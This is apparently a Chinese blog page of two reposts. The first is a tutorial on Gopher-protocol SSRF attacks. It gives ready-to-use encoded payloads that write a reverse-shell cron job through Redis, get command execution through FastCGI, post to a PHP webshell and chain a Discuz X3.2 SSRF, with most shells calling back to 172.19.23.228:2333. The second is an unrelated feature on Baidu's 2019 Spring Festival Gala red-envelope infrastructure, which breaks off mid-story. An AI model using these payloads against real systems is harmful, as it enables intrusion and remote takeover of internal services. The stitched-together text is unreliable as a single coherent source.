[转]利用 Gopher 协议拓展攻击面

1 概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

2 攻击面测试

2.1 环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

2.2 攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

2.3 攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

2.4 攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>  

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

3 攻击实例

3.1 利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg
测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D  

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg

4 系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

5 更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

6 参考

[转]百度的春晚战事(猜猜哪个是博主)

百度的春晚战事

原创: 史中 浅黑科技 浅黑科技 今天

编辑

请点击输入图片描述

浅友们大家好~我是史中,我的日常生活是开撩五湖四海的科技大牛,我会尝试各种姿势,把他们的无边脑洞和温情故事讲给你听。如果你特别想听到谁的故事,不妨加微信(微信号:shizhongpro)告诉我。

百度的春晚战事

文 | 史中

我们对春晚一无所知。

罗振宇曾在跨年演讲上如是说。

无论悲喜,反正每个中国人都为春晚辟出了一块“专属记忆”。而从2015年开始,中国人的春晚记忆里被点上了一颗“红痣”。那就是——总有一家顶尖互联网公司面带羞赧地走上舞台,给十几亿人发红包。

“一无所知”的形容,可谓精妙。春晚时,你只知道自己在对着电视刷红包,但从空中俯瞰,十多亿人同时拿起手机,将会汇聚起怎样一种数据海啸,即使《2012》《后天》里的那种惊天排浪,也难以企及十分之一。

据说,美国“超级碗”直播中间插播广告的时候,电视机前的几亿观众会集体上厕所冲马桶,导致美国各大城市的市政供水出现崩溃。超级碗直播的全球观众有1.3亿。而我们的春晚直播,全球观众有13亿。

2015年,微信曾经上春晚发过红包,在全国观众的冲击下一度跪倒长达一小时,俯首拜年。

 

2018年,淘宝为春晚准备了三倍于“双11”的服务器资源。而就在主持人口播活动开始的一瞬间,服务器瞬间超过负荷。事实证明,春晚观众肉身涌进淘宝服务器的瞬时流量是当年“双11”的15倍。

精明的腾讯阿里,都是提前三个月准备春晚,尚且如此狼狈。

而2019年,央视春晚红包招标时间很晚,距离除夕只有一个多月的时间。巨头们都觉得凶险异常,百度却高高举手:我来!我来!

所有吃瓜群众都侧目,这种“情商低”的状态,还真是百度的风格。。。

接下来中哥就告诉你,2019年2月4日除夕晚上,这片土地上究竟发生了什么。

编辑

请点击输入图片描述

(零)百度的一封信、一部引擎和一场战役 

故事,要从一封信说起。

2018年12月18日,李彦宏突然发布了一封内部信,宣布了一个神秘的“1218改革”。其中一条如下:

所有部门的基础技术整合到“TG”(基础技术体系),数据中心、基础架构、运维这些百度核心技术和技术大牛全部兵合一处将打一家。

在一般人眼里,这好像是个路人甲的架构调整;但技术人看后却内心一惊,百度正在把所有部门的核心发动机拆开,重新组装成了一个硕大无朋的“擎天柱”。

用破釜沉舟来形容,丝毫不过分。

而“擎天柱”的负责人,是十五年的老百度人,百度云的创立者之一:侯震宇。震宇隐隐然觉得“天将降大任”,但他又实在猜不透,自己手上这个变形金刚将会用什么姿势书写历史。

2019年1月4日,刚刚划归震宇部门的大牛架构师汪瑫从上海来到北京汇报。工作聊罢,汪瑫轻描淡写地告诉震宇一个“One more thing”。

“听说业务部门刚刚拿下了今年的春晚红包,你知道吗?”汪瑫说。

“什么??!!”震宇当时如同全身过电,血往上涌。就在前后脚,百度 App 部门联系震宇,确认了春晚红包的项目。

编辑

请点击输入图片描述

侯震宇

那一刻震宇意识到,“擎天柱”的第一战已经来了——在履职的第16天,组织架构都来不及调整,新任务也来不及制定,甚至连人都没认全的情况下,要负责保障一个“全中国人都对其威力一无所知”的春晚。

这还真是一个故事的好开头啊。

就在此时此刻,穿越几道门,坐在办公室里的“厂长”李彦宏一如既往地气定神闲,没人能看出他内心究竟是平静如水还是波涛汹涌。

过去几年,百度过得并不轻松。

公司的一些商业决策失误被人诟病,正在艰难地走出泥泞;而在百度文化里如同“定盘星”一样闪耀的技术人,也一边忍受着旁人的侧目,一边度过艰难的日子。

商业上的是非博弈,永远有回旋的余地。但技术人的心一旦散了,百度的未来将会被彻底改写。

李彦宏比任何人都清楚,对士兵最大的慷慨,就是为他们准备一个盛大的战场。

百度人渴望一场大战,洗刷十年风尘。

编辑

请点击输入图片描述

李彦宏

(一)生死战 

不用多想,你都能把百度的春晚发红包的姿势猜得八九不离十:

1、时间:春晚期间,分几轮发红包;

2、地点:打开“百度 App”;

3、人物:全体中国人;

4、动作:点点点点点。

万万想不到,就是这么简单的四步,引发了接下来整整一个月惊天动地血雨腥风的故事。

说回当时。

远在三亚休假的百度信息流主任架构师吴永巍也同时接到这个消息,一刻不停地赶回他所在的上海研发中心,又赶最早的飞机降落北京。

编辑

请点击输入图片描述

吴永巍

震宇代表基础技术保障团队,吴永巍代表百度 App 的技术团队组成了联合作战组。他们一秒都不敢耽搁,当天就开始筹备组建春晚红包技术团队。

贺峰,十一年百度人,运维负责人,他责无旁贷地成为“百度春晚红包”稳定性计划总制定者。

 

陈曦洋,十一年百度人,系统性能优化大神,他的能力是像庖丁解牛一样把一个 App 拆解成细碎的零件,为每一个零件做细致的优化,使得 App 所需的系统网络资源降低到理论最低极限。

 

汪瑫,七年百度人,不仅是技术大牛,还和百度登录帐号团队非常熟悉。

 

宋磊,十年百度人,系统部网络组专家,主要工作是维护百度网络的稳定运行。

 

张家军,八年百度人,系统部供应链负责人,百度平日所需的新增服务器,都由他来搞定。

 

等等等等,后面的名单还有长长一串。

所有的技术人,听到“春晚任务”,第一反应都是懵逼。因为他们的很多朋友都在阿里、腾讯,这些人曾经哭诉春晚有多么残忍的场景还历历在目。风水轮流转,这下轮到自己了。。。

但是,几乎只有一秒钟的迟疑,他们又变得像孩子一样兴奋。

外界不总是说,百度在移动时代不行了么?但是,行不行别人说了可不算。十年了,我们终于不用再等了。厂长既然给我们这次机会,我倒要证明给所有人看,我们到底是行还是不行!

贺峰对所有人说。

编辑

请点击输入图片描述

贺峰

很快,经过全部专家组讨论,贺峰把最终的计划表拿出来了。(原任务表极其复杂,中哥用自己的话解释给你。)

任务一:陈曦洋“拆解”百度 App 的每一个零件,精确计算出当天每一个 App 将会发出多少流量,进而计算出春晚时百度所需准备的总资源数量。(时间:第一周。)

任务二:贺峰亲自操刀,制定“春晚剧本”。春晚当天,百度集团所有系统资源全部切换档位,其他系统让位给红包系统。红包抢完,要在最短时间内再把系统资源还给其他部门。为此,需要一个极其精密无缝切换的操作预案。(时间:第一周+第二周。)

任务三:由于百度内部所能协调出来的系统资源不够,张家军要向全国厂商发出数万台服务器的紧急采购,确保打仗所需的全部“粮草”及时到位。(时间:第二周+第三周。)

任务四:宋磊向运营商全面采购带宽等软资源,建设足够的 IDC 网络  CDN 网络。(时间:第二周-第四周。)

任务五:陈曦洋协助百度 App 团队,百度 App 每秒数据传输量降到最少,然后打包成最新版百度 App 下发,确保春晚当天每个人手上的百度 App 都是性能最佳的最新版。(时间:第二周+第三周。)

任务六:陈曦洋协助小程序团队,一起开发春晚当天红包的小程序,确保这个小程序也占用最少的资源。(时间:第四周)

任务七:汪瑫负责协助百度帐号登录体系(Passport)进行全方位加固,应对春晚涌来的登录请求。(时间:第一周直到春晚。)

任务八:通知各大第三方应用市场,告诉他们春晚的时候,可能会有大量用户去下载百度 App,让他们也做好准备。

任务九:所有资源+调优全部到位,联合百度 App 的业务部门进行四轮“全链路联合测试”。(时间:第四周。)

任务十:春晚当天,所有人全力以赴,抗住十三亿人的流量海啸

十大任务列阵于此,旌旗猎猎。

编辑

请点击输入图片描述

彼时,即使是计划制定者贺峰也难以想象,在未来四周时间里,百度、三大运营商、全球硬件供应链、中国数家服务器厂商、外包建设团队、机房运维团队、全世界总计数万人和他们的家人将会为此付出怎样艰苦卓绝的努力。

但此时此刻,已经没人能阻挡这一切发生了。

这将是我职业生涯的生死战。

贺峰说。

(二)太空变轨 

计算结果出来了!我预计春晚的流量,每秒峰值将会达到5000万次!每分钟的峰值将会达到10亿次!

陈曦洋一夜没睡,拿着最新出炉的报表对贺峰说。

编辑

请点击输入图片描述

为了测算流量,陈曦洋研究了不少腾讯、阿里红包相关新闻。

经过计算,支撑这些流量的云计算系统,需要由10万台服务器组成。

这意味着什么呢?

2018年全年,全中国960万平方公里销售的全部服务器是300万台。而百度需要在一个月内,毫无准备的情况下,搞定去年全国销量的三十分之一,并且完成采购、生产、调试、接入百度云的全过程。

贺峰知道,如果全靠临时采购,这件事不可能完成。百度内部必须让出至少5万台服务器来支持春晚红包计划。

“凤巢广告系统、原生广告系统、网盟变现系统,统统要在春晚过程中熄火,把资源让给红包系统。”贺峰的计划白纸黑字。

要知道,凤巢系统是百度的广告收入核心。凤巢暂停四小时,意味着百度这艘火箭要在万米高空强行熄火,失速四小时。

编辑

请点击输入图片描述

而这不仅是真金白银的损失,还是一个极其危险的操作——万一熄火之后点不着,凤巢系统将面临对数百万客户的巨额赔偿。

当贺峰把计划拿给凤巢负责人王岳的时候,内心是很打鼓的,他知道对方有一万个理由拒绝他的计划。但是,王岳仅仅花十分钟看完了方案,说了三个字:没问题!

“没问题”,意味着一部包含5万台服务器的超级引擎将会在春晚四小时交由贺峰团队驾驶,这一下就满足了计划所需的一半。

剩下的5万台,交给采购部门,这个等下再说。回来继续看陈曦洋。

10万台服务器已经是团队的极限了。但是陈曦洋知道,把服务器总数控制在10万台,这还是有前提的。前提就是每个用户手机上的百度 App 还需要进行大量优化。

当陈曦洋带着三个兄弟完成对百度 App 的解析之后,他的眼泪都快流下来了。

百度 App 在启动时,会对自家服务器发送100多个连接。这些连接来自于百度不同的业务团队。

 

陈曦洋一下就懂了。由于百度 App 是目前百度装机量最高的超级 App,是“全村人的希望”。所以很多业务和技术同学都把展示自己团队成果的模块挤进百度 App,只是希望自己的努力能够被更多的用户感受到。

这些年逆风行船,百度的技术产品人其实一直在用力。

编辑

请点击输入图片描述

但是对于此刻的陈曦洋来说,这意味着灾难。在春晚当天,每一秒钟,每一个连接都要乘以几千万人这么一个倍数,每个 App 100 个连接,每秒就是几十亿次连接,BAT 加在一起都必跪无疑。

只见陈曦洋,此时已经红了眼,变成了“操刀鬼”——对百度 App 所有连接大砍大杀。

1月10日,陈曦洋和指挥部的领导开会,大家一致认定,百度 App 对外连接的数量,要从100个砍到3个。

由于 AppStore 和各大安卓商店都需要有审核时间,百度 App 必须在春晚前两周发布最新版本,所以很多连接来不及修改背后的整体逻辑,只能用暂时抑制的方式来处理。

编辑

请点击输入图片描述

花开两朵,各表一枝。

那边“操刀鬼”陈曦洋正在为百度 App 瘦身,这边“拼命三郎”汪瑫已经代表项目组进驻了百度帐号体系团队。

多说一句,汪瑫本来属于上海团队,和春晚项目关系不大。但是由于他技术非常牛,又和帐号团队比较熟悉,被震宇和吴永巍“强行”拉来参与春晚计划。接到任务时他二话没说,第二天就飞到北京,开始了长达一个月的加班。

编辑

请点击输入图片描述

汪瑫

业内八卦显示:2018年,淘宝春晚发红包,最大的问题就出在了登录系统。

讲真,由于搜索业务天然不必须登陆操作。这么多年来,百度的帐号体系建设是弱于电商阿里和社交腾讯的。

祸不单行,就在接到春晚任务之前,帐号团队的技术负责人李盈沉浸在苦恼中,因为他团队的一位优秀的同学提出了离职。但是,就在接到任务的当天,那位原本想离职的同学找到李盈,说自己不走了。

“我想打仗。”他说。

百度 App 登录状态的比例比较低。但是抢红包的时候,技术上必须要登录才能知道给谁“结账”。所以汪瑫预计,春晚当天百度 App 会遭受一波剧烈的登录冲击。有多剧烈呢?预计会是平常登录峰值的 2500 倍。

这意味着将会有很多人请求短信验证码。

编辑

请点击输入图片描述

时间有限,汪瑫一边连夜协助帐号团队做各种优化,一边让团队向各大运营商和第三方服务商购买短信发送的服务。一时间,所有省市的三大运营商的短信发送能力,被百度一家预定一空。

但即使是这样,还是不能满足春晚当天的预计值,汪瑫紧急派出百度最好的工程师进驻第三方服务商,帮助他们优化代码,提高短信发送的能力。终于达到了预期数值。

所有工程师的这些操作都在短短两周内叠加在一起。对于百度来说,这是一场史诗级的“太空变轨”。

软件这边忙得热火朝天,转回头来看,还有5万台服务器的硬件缺口。所有人的目光都落在张家军身上。

编辑

请点击输入图片描述

张家军

(三)那个疯狂的夜晚 

贺峰看着张家军说:“不要有压力,我们这次肯定‘一战成名’。”

“此话怎讲?”张家军问。

“就是说,成功也会出名,失败也会出名。”

“。。。”

张家军盘点了一下手上的“数据中心地图”,他发现自己简直是太幸运了:

北京数据中心曾经预定了4万台服务器,约定春节前交货。此时已经有2万多台交付完毕,还剩1.8万台未交付。

于是,张家军的计划很快出炉:

1、催促北京数据中心在一周内交付1.8万台服务器。

 

2、拼尽全力,就是抢,也要在两周内抢来1万台新的服务器,放到南京数据中心。

这些服务器都会并入百度云统一调配。张家军发现,虽然百度云平时默不作声,但是这么多年对于技术的极致追求,越是在艰难的时刻越能体现出闪光的价值:

百度设计的服务器,大多是以整体机柜的方式制造的。也就是说,在服务器厂家出厂的时候,就已经是一台大机柜里面固定好30台服务器的形态了。

这意味着,百度云不需要像其他云计算厂商那样,一台服务器一台服务器地在现场安装,而是把整个机柜直接推进去就可以进行测试安装了。

编辑

请点击输入图片描述

这就是整体机柜在安装时的场景

在接下来的一周里,百度的合作伙伴浪潮也体现出了国际顶尖的专业精神,一队队卡车整齐地并入高速公路,直接开赴北京。

你可能不相信,这两个大厂,共同创造了8小时安装1万台服务器的世界纪录。

编辑

请点击输入图片描述

北京如期搞定。

但最让张家军头疼的是,如何凭空变出来南京机房的1万台服务器。

他给我算了一笔账:

电子行业的硬件备货周期,通常就是8-12周。也就是说,你要至少提前两三个月向服务器生产商和零部件供应商下订单。

 

即使是服务器厂商完全停掉手中其他的活,产能也是有限的。从接到订单到生产出来,一般也要一周时间。

 

从卡车从服务器厂商的车间开出来,到百度数据中心,一般需要3-5天时间。

 

从服务器检测安装,到并网调试,一般需要1-2天。

“我接到任务的时间是1月6日,我的任务是:1月21日早晨8点,1万台服务器要一台不少齐装满员站在南京机房里。”张家军看着我,一字一顿地说。

“对不起,我们的生产能力不够,不能耽误百度春晚这么大的事儿,这个单子我们不敢接。”这几乎是所有服务器生产商对于张家军的标准回复。

只有几家大型服务器生产厂商接受订单,但是,限于原料储备不足,他们未来两周的生产能力上限是——4000台。

这下张家军的任务变成了:帮助服务器厂商协调全球供应链,从全世界找到另外几千台服务器的所有配件。

如果换成别人,任务到此已经可以宣告失败了。

但是张家军不准备认输。

过去几年,他和同事们拼命了解产业链的运作方式,和各大厂商建立联系,一点一点构建百度云的基础设施。他们赌上了自己的青春和年华,却依然能听到外界很多讥讽的声音。这么多年都扛过来了,就是因为他们相信,有朝一日,所有的证明都会如数归来,那些不该他们承受的东西,终会像雾霾一样退散。

此时此刻,他怎么舍得认输。

他和团队给全球的供应商一个一个打电话,买最近的一班飞机飞到国外,到每一个工厂里查看零件配给数量。一天,两天,三天,这些原本计划分配给美国、欧洲的零部件,从以色列、美国、东南亚调转航向,一起向中国飞来。

这是一场全球供应链的胜利。

服务器厂商开足马力,所有工人放弃了提前回家的计划,回到岗位三班倒,服务器被源源不断地生产出来。卡车等在工厂门口,放弃编队,装满一辆车就出发一辆,在通往南京的高速公路上,每隔一百公里就有一辆满载服务器的卡车在飞驰。

南京数据中心里,百度的工作人员、机房运维人员、建设外包队伍已经严阵以待。

张家军在北京总部协调,不能脱身,于是他和南京24小时通着电话,时刻指挥进展。服务器进驻机房, 还要有调试的过程,但凡有哪一步出现差错,就会导致满盘皆输。所以,张家军团队为每一种想到的意外都做了周密的预案。

1月20日夜里,最大一波服务器抵达南京,眼看大功告成。此时,一个最不可能发生的意外,却真的发生了。

机房的货梯,由于承受不住一吨多的机柜上下折磨,毫无预警地罢工了。他们马上转战客梯,客梯很快也出现故障。

编辑

请点击输入图片描述

有人拍下了当时紧急修复电梯的场景

临近春节,电梯检修人员大多回家过年,人手非常紧张,要天亮才能赶到。但是百度的同学们知道,仅仅这一夜,他们也是等不起的。

漆黑的夜里,所有现场的人员,用双手和双肩扛起来一百多斤的服务器,一步一步地从楼梯往上爬。

当时一位同学用视频记录下了现场的场景:

人肉抬服务器上楼

有同学的手被划破了,血珠渗出来。同事要把它换下来,他只是摇头,说没事。有人看到了他眼角的泪水。

现场还有很多一吨多的整机柜服务器,靠人力根本搬不上楼。现场指挥部的同学,甚至叫来了一辆吊车,要砸开机房的窗户运进去。

张家军在视频里看到现场吊车的钩子在风中摇晃,惊出一身冷汗。他怕同学受伤,言辞拒绝了这个方案。但是现场的负责人反复恳求:你就让我们试试吧!服务器要上楼啊!!

终于,现场维修团队想到了一个办法,紧急把隔壁楼的电梯配件拆过来,货梯终于缓缓启动,那时,已经是半夜两点了。

2019年1月21日早晨八点,负责服务器软件调试的同学如期赶到,所有的服务器静静地站在机房里。它们就那样沉默着,仿佛昨夜什么都没发生。

(四)核弹头就位 

1月17日,百度召开总监会。

贺峰回忆,李彦宏的表情“非常淡定”。他只是笑眯眯地看着大伙儿,说:“你们一定能搞成的。”这次总监会只是比平常多了一个小环节,晚上大家一起吃了个饭,李彦宏挨桌给大伙敬了酒。

实际上,那几天正是所有团队最焦头烂额的时候。

震宇告诉我,就在这一个月的时间,百度的 IDC 新增带宽资源超过了过去20年的历史总和,CDN 资源新增了2018年的一半。

根据宋磊回忆,两周左右的时间里,69位工程师飞了7万多公里。北上广的剩余带宽资源几乎都被百度拿空了。

编辑

请点击输入图片描述

宋磊

和他的朋友可乐君

网络团队有两位工程师是夫妻,一个负责网络建设,一个负责网络测试。一个人刚建设好,回家看孩子,换另一个人来测试。有时候建设工程师要陪着测试工程师一起工作,两个人只好把孩子扔给老人,一夜都不回家。

而宋磊本人,从1月6日计划启动到大年初一,睡得最长的一晚是五个小时,最短只有一个小时。

编辑

请点击输入图片描述

一位同学躺在桌子上睡觉,被无情偷拍。

时间一刻不停,已经是1月26日。距离春晚还有8天。

这一边,张家军的“粮草”已经全部到位,工程师也把所有的服务器完整无误地接入百度云,10万台机器全副武装准备就绪。宋磊新建了相当于支撑全澳洲人口同时观看视频的 CDN 和 IDC 网络,并且连续几个通宵完成了压力测试。

另一边,陈曦洋成功地把百度 App 对外连接数从100个砍到3个,汪瑫把百度 App 的登陆能力从1500人次每秒疯狂提升到15万人次每秒。

百度开启了“春晚红包计划”全链路测试。

贺峰为这四个半小时制定了几百页的“剧本”。剧本分为两部分:

1、主持人播报抢红包开始的每一个时间点,百度系统分别提前多少秒做好什么准备。就像火箭发射一般精密。

 

2、一旦遇到意外情况,哪个子系统要做出怎样的调整,根据意外程度的不同,做出的调整力度也不同,这套预案中,涉及到了上千条意外情况。一旦条件触发,指挥部的同学只要点击一个按钮,就能启动相应的更改。

编辑

请点击输入图片描述

这就是“剧本”

根据经验,运维人员真正遇到问题的时候,心理会承受巨大的冲击,很容易慌乱。为了让同学们临危不乱,贺峰还专门编写了《作战守则》,上面写着“指令要清晰,行动听指挥”等等要求贴在墙上,发给每一个同学提前学习。

编辑

请点击输入图片描述

对于百度这群工程师来说,这几百页作战计划里的每一条预案,都不是凭空想出来的。他们在写每一个字的时候,都可以回忆起十多年来自己在百度的运维经验,这厚厚一本,哪里是作战计划,分明是一个百度工程师的技术人生。

百度科技园 K2 大楼的整整一个大厅被改成作战指挥室,中心一个核心指挥室,旁边20个小屋是包括百度 App、大搜、摇一摇、帐号系统、BFE中台、网络、系统监控、IT团队、红包核心系统等等在内的分组作战室。加上地下一层本来就有的中控室,组成了联合指挥作战系统。

编辑

请点击输入图片描述

核心指挥室

这里要稍微插一句。

2019年百度春晚的红包设计和之前阿里腾讯的稍有不同。他们把百度 App 日常的功能和红包相结合。比如你要在百度搜索框里语音说出“幸福快乐年”,或者手动刷一下百度 App 首页的新闻瀑布流查看“拜年视频”后才能进入,这就造成了用户行为的不可预测性加大。

这就形成了一个开放空间:难免有人说出方言,或者刷新瀑布流搞错了方向,从而对后台的人工智能系统带来不可预知的巨大压力。

这会导致测试的时候,非常难以模拟春晚真实场景。

百度人的“实在”在这里体现得淋漓尽致。反正我就是要实现这样的效果,技术上的问题,一点点搞就好了。

编辑

请点击输入图片描述

必不可少的步骤:拜杨超越

演习过程中,专门有一队“蓝军”,负责为春晚系统制造各种麻烦,例如掐断某个机房的数据通路,让某一个模块停止响应,甚至直接对百度系统发起攻击。而在另一边,指挥团队严格按照剧本对所有问题瞬间应对。百度安全团队也加入了护航编队,对夹杂在正常访问之间的进攻进行拦截。

虽然中间几经波折,但是在倒数两次联合测试中,整个百度春晚红包系统都经受住每秒5000万次访问的考验。所有人悬了一个月的心,这才稍稍放下一些。一向严谨的吴永巍对团队成员说,我现在的信心指数是85-90分!

就在大家紧锣密鼓忙活的时候,发生了两件怪事:

宋磊在那几周新增了一个习惯:每天半夜两点把自己加班的情况拍照,晒到朋友圈。当时大家还纳闷,为什么老宋那么低调的一个人,却要天天晒加班呢?

 

从上海过来支援的汪瑫,1月24日神秘消失了一天。他究竟去哪了呢?

这些小八卦,当时谁也没空探秘。因为春晚已经近在眼前了。

编辑

请点击输入图片描述

(五)除夕 

2月4日,除夕。

从当天零点开始,已经有同学在作战部值班。早晨八点,全员就绪,大战一触即发。

所有百度的同学里,有两位是最为特殊的。他们当天晚上会进驻到央视直播现场。人们开玩笑说,他们是百度押在央视的“人质”。这两位同学在去之前还满怀激动地打听,我们去了要做什么呢?其他人冷冷地说,根据腾讯和阿里的经验,你们去了只有一个任务:我们这里如果砸了,你们两个负责“挨骂”。

临走时,这两个同学用幽怨的眼神看了一眼百度大部队,决绝地赶赴央视。嘴里唱着“风萧萧兮易水寒。。。”

根据设计,在除夕当天上午11点,百度会向用户推送一个小红包活动作为预热,让真实的用户来参与,从而对系统进行一波实打实的终极测试。

11:00,预热活动开始,后台数据直线上升。百度 App 瞬间访问峰值达到88万次每秒。这个数值已经是百度 App 历史最大峰值的几十倍。但是贺峰知道,这还仅仅是毛毛雨,他们为春晚设计了5000万次每秒的能力。

直到这时,陈曦洋所负责的重要任务——掐断百度 App 的多余回连数据突然有所抖动。陈曦洋和百度 App 的技术同学各个满头大汗,直到直播前一个小时,才把问题解决妥当。

晚上八点,春晚准时开播。

凤巢系统缓缓熄火,红包系统接管引擎驾驶。所有系统齿轮咬合,像起跑线前的赛车一样低吼着冲出去。

编辑

请点击输入图片描述

作战室的同学仿佛进入了另一个世界。整个大厦,掉一根针在地上都能听到。

按照央视彩排的时间表,第一次摇红包应该发生在晚上八点半。但是,就在八点十八分的时候,主持人突然提前预告了一下:“观众朋友们可以下载百度 App 参与今年的春晚摇红包活动。”

这之后一分钟,指挥部的舆情监控群里,突然有人甩进来一张图片:

编辑

请点击输入图片描述

苹果的 AppStore 被网友挤垮,已经打不开了。

陈曦洋赶紧拿出手机测试,哪里是 AppStore,小米、华为等等 AppStore 全部躺尸。他这才明白,虽然当时自己派人和各大应用商店提前打过预防针,但事实证明,他们对春晚“一无所知”。。。

作战组马上给出数据,预计全国有200万-300万人无法下载百度 App,这将带来不小的损失。而另一组数据显示,无法下载 App 的人们又涌向了百度搜索,在手机浏览器里用关键词搜索的方式尝试下载百度 App。

